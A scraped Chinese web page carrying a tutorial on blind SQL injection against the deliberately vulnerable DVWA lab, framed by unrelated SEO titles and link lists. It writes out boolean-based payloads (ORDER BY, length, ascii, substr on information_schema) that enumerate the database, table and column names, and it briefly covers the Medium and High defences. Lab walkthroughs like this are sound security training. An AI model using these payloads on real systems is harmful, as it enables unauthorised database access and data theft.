当前位置: 首页 > news >正文

网站建设公司的公司哪家好wordpress后台加载慢

网站建设公司的公司哪家好,wordpress后台加载慢,个人网站做跳转怎么弄,是网站推广的案例SQL Injection (Blind) SQL Injection (Blind) SQL盲注#xff0c;是一种特殊类型的SQL注入攻击#xff0c;它的特点是无法直接从页面上看到注入语句的执行结果。在这种情况下#xff0c;需要利用一些方法进行判断或者尝试#xff0c;这个过程称之为盲注。 盲注的主要形式有…SQL Injection (Blind) SQL Injection (Blind) SQL盲注是一种特殊类型的SQL注入攻击它的特点是无法直接从页面上看到注入语句的执行结果。在这种情况下需要利用一些方法进行判断或者尝试这个过程称之为盲注。 盲注的主要形式有两种 1、基于布尔的盲注Boolean based在某些场合下页面返回的结果只有两种正常或错误。通过构造SQL判断语句查看页面的返回结果True or False来判断哪些SQL判断条件成立通过此来获取数据库中的数据。         2、基于时间的盲注Time based又称延时注入即使用具有延时功能的函数sleep、benchmark等通过判断这些函数是否正常执行来获取数据库中的数据。 在 SQL 盲注中字符型注入通常更容易通过页面上的不同提示来确认注入成功而数字型注入则可能在页面上不显示直接的区别。这是因为字符型注入可以通过构造不同的字符串来影响 SQL 语句的执行而数字型注入可能会导致结果为真或假的不同条件但页面上可能没有直接的可见区别。 Low 1、判断注入类型 代码并没有对参数做过滤或者验证且页面返回的结果有两种 if ($exists) {// 用户存在的处理$html . preUser ID exists in the database./pre; } else {// 用户不存在的处理header($_SERVER[SERVER_PROTOCOL] . 404 Not Found);$html . preUser ID is MISSING from the database./pre; }首先判断注入的类型前文已经提到过 字符型的会有不同的提示证明SQL语句被成功执行而数字型无论SQL对错页面提示的都是相同的 证明SQL语句并没有被执行  为字符型注入         2、判断列数  接下来判断字符段数通过尝试不同的 ORDER BY 子句中的列数可以逐步确定实际的列数 通过类似于   1 ORDER BY 1#  如果查询不出错则至少为1列 1 ORDER BY 2#  如果查询不出错则至少为2列 1 ORDER BY 3#  如果查询不出错则至少为3列 如下则字段数为2 3、判断数据库名、长度 接下来判断数据库名长    length(database()) 可以返回当前数据库名的长度我们可以通过逻辑条件将其与一个数字进行比较用以判断 此处我们已经知道数据库是DVWA长度确实是4位 1 and  length(database())3 # 1 and  length(database())4 # 1 and  length(database())4 # 判断数据库名称使用二分法判断数据库的名称,  通过 ASCII(SUBSTR(DATABASE(), 1, 1))  构造逻辑语句来判断数据库名称的每一个字母的ASCII码  dvwa 的 ASCII 码如下 d: 100v: 118w: 119a: 97 1 and ascii(substr(database(),1,1))68 # 1 and ascii(substr(database(),1,1))127 #          两次存在第一个字符的ASCII值大于68小于127 则可以确定是一个字母 1 and ascii(substr(database(),1,1))100 #  1 and ascii(substr(database(),1,1))100 #  两次都不存在则可以确定该字符的ASCII码的值为100对照可知 第一个字符为“ d ” 1 and ascii(substr(database(),X,1))  判断第2、第3、第4位时X分别为2、3、4 重复上述步骤则可解出完整库名dvwa 4、判断数据库中表名、表长、数量 关于数据库dvwa中 的表的数量  可以用 下列SQL注入字符串 查询返回当前数据库中表的数量如果数量符合整个条件将为真。 1 and (select count (table_name) from information_schema.tables where table_schemadatabase() ) 1 AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema DATABASE()) 2# 如上可知dvwa库中有两个表 判断表1长度通过SQL 注入字符串 猜解表长检查当前数据库中某个表的第一个字符的长度是否为等号后的数字  1 and length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))1 #. . . . 1 and length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1))9 # 由下图可见当条件为 9 的时候 整个条件为真所以第一个表的名长度为9 判断表2长度通过SQL 注入字符串 猜解表长检查当前数据库中某个表的第一个字符的长度是否为等号后的数字       LIMIT 1, 1 表示从结果集中获取第二行即下一个表的表名。    1 and length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1))1 # . . . 1 and length(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1))5 # 由下图可见当条件为 5 的时候 整个条件为真所以下一个表也就是第二张表名长度为5 猜解表名此处和前文猜数据库名方法相似都是构造判断条件判断字符的ASCII码的值来确定表名。 LIMIT 0, 1 表示从结果集的第一行开始取一行记录。后面的 ,1) 是 SUBSTR 函数的一部分用于截取字符串的一部分。 所以我们判断第二个字母的时候  改动部分语句   limit 0,1),2,1))   同理判断第三个字母时为limit 0,1),3,1))  根据下面的字符串同理重复下去可得第一个表的名字为 guestbook #通过 下面的 SQL 注入尝试已经成功地判断了当前数据库中下一个表的第一个字符的 ASCII 值的范围 #第一个字符的 ASCII 值在97到109之间但不包括103 #ASCII码103对应的字符是小写字母g #所以第一个表的名字的第一个字符为小写字母“g1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))97 # 显示存在1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))122 # 显示存在1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))109 # 显示存在1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))103 # 显示不存在1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))103 # 显示不存在LIMIT 1, 1), 1, 1) 用于选择 information_schema.tables 表中的第二个表名并截取该表名的第一个字符。在 SQL 查询中LIMIT 1, 1 是一个常见的用法表示从结果集的第二行开始取一行记录。而 SUBSTR(..., 1, 1) 则是用于截取字符串的子串这里用于截取表名的第一个字符。 还是同理可得根据以下的注入字符串修改参数后重复下去可得第二表的完整表名 users 1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))97 # 显示存在1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),1,1))122 # 显示存在1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),2,1))97 # 显示存在1 and ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 1,1),2,1))122 # 显示存在 此时我们得到两个表的表名   guestbook、users 5、猜解表中字段数量、段长、段名 判断表中的字段数量这里我们已经知道了两表中的列数故不再一个个尝试用已知数直接进行判断 构造一个逻辑条件用于检查名为 users 的表是否有超过4列的列数名为”guestbook“的表是否有超过8列的列数。 1 and (select count(column_name) from information_schema.columns where table_name users)4 #  1 and (select count(column_name) from information_schema.columns where table_name users)8 #    接下来的判断段长、段名的步骤与判断数据库名、库民长的步骤一致差异只在于参数的不同故不再赘述 我们以users表为例 用下面的注入字符串不断重复 可得users表的字段长分别为71094861012 #检查名为 users 的表的第一个列名的长度是否为1 1 AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name users LIMIT 0, 1), 1)) 1# …… …… #检查名为 users 的表的第一个列名的长度是否为7 1 AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name users LIMIT 0, 1), 1)) 7# 关于段名的判断还是通过ASCII码的值 检查名为 users 的表的第一个列名的第一个字符的 ASCII 值是否大于 97 替换参数重复下去可得users表的第一个字段名为user_id 1 and ascii(substr((select column_name from information_schema.columns where table_name users limit 0,1),1))97# ………… ………… 1 and ascii(substr((select column_name from information_schema.columns where table_name users limit 1,1),1))97# ………… ………… 重复判断段名的步骤最终得到users表中所有字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login 这里太多太麻烦了我并没有全部验证只验证了user_id字段 Medium 相较于lowmedium的代码利用 mysql_real_escape_string 函数对特殊符号进行转义包括但不限于 \x00, \n, \r, \,, , , 和 \x1a。、 但是我们依然可以构造语句进行注入 High 代码使用 cookie 来传递参数 id。如果 SQL 查询结果为空代码将触发 sleep(seconds) 函数用于扰乱基于时间的盲注攻击。同时SQL 查询语句中加入了 LIMIT 1以确保仅输出一个结果。尽管添加了 LIMIT 1但通过使用 # 进行注释我们仍然能够绕过该限制。受限于sleep函数的影响基于时间的布尔盲注的准确性会受到影响。
http://www.zqtcl.cn/news/103270/

相关文章:

  • icp网站域名怎么填写官方网站建设银行年利息是多少钱
  • 沈阳做网站好的信息流优化师证书
  • 做招聘网站创业seo优化工作
  • 如何维护网站建设外卖网站建设价钱
  • 南宁保洁网站建设乌克兰服装网站建设
  • ppt链接网站怎么做的nas云存储做视频网站
  • 上海网站制作公司联系方式设计素材网站照片
  • 林州网站建设价格网络舆情是什么意思
  • 网站外链平台的建设方法平台类型(至少5个)?兰州道路建设情况网站
  • 网站建立健全举报工作机制设计电子商务网站主页
  • 广州市建设工程交易服务中心网站沈阳百度推广哪家好
  • 个人网站备案需要什么网站建立的重要性
  • wordpress用户名西安seo代理计费
  • 网站建设前准备工作手机上传视频网站开发
  • 海口网站建设是什么意思wordpress推广码
  • 杭州市住房和城乡建设厅网站海南网站建设设计
  • 网站建设平台一般多少钱wordpress 本地上传服务器
  • 怎么给网站命名男女做羞羞羞的网站
  • 北京响应式网站建设公司信息流推广方式
  • 一级a做爰片迅雷网站微分销系统定制开发
  • 山东网站建设工作室网页设计全部代码
  • 用c 做网站可以吗注册网站什么要求
  • 销售网站排名销售型网站模板
  • wordpress 汽车宁波seo整体优化
  • 网站建设公司在哪里宣传c2c旅游电子商务平台
  • 网站查看空间商网站不提交表单
  • 空间怎么上传网站企业所得税怎么算公式
  • 网站建设wix建筑公司网站设计思路
  • 门户型网站都有哪些网页制作的视频教程
  • 虚拟主机 多个网站没有备案的网站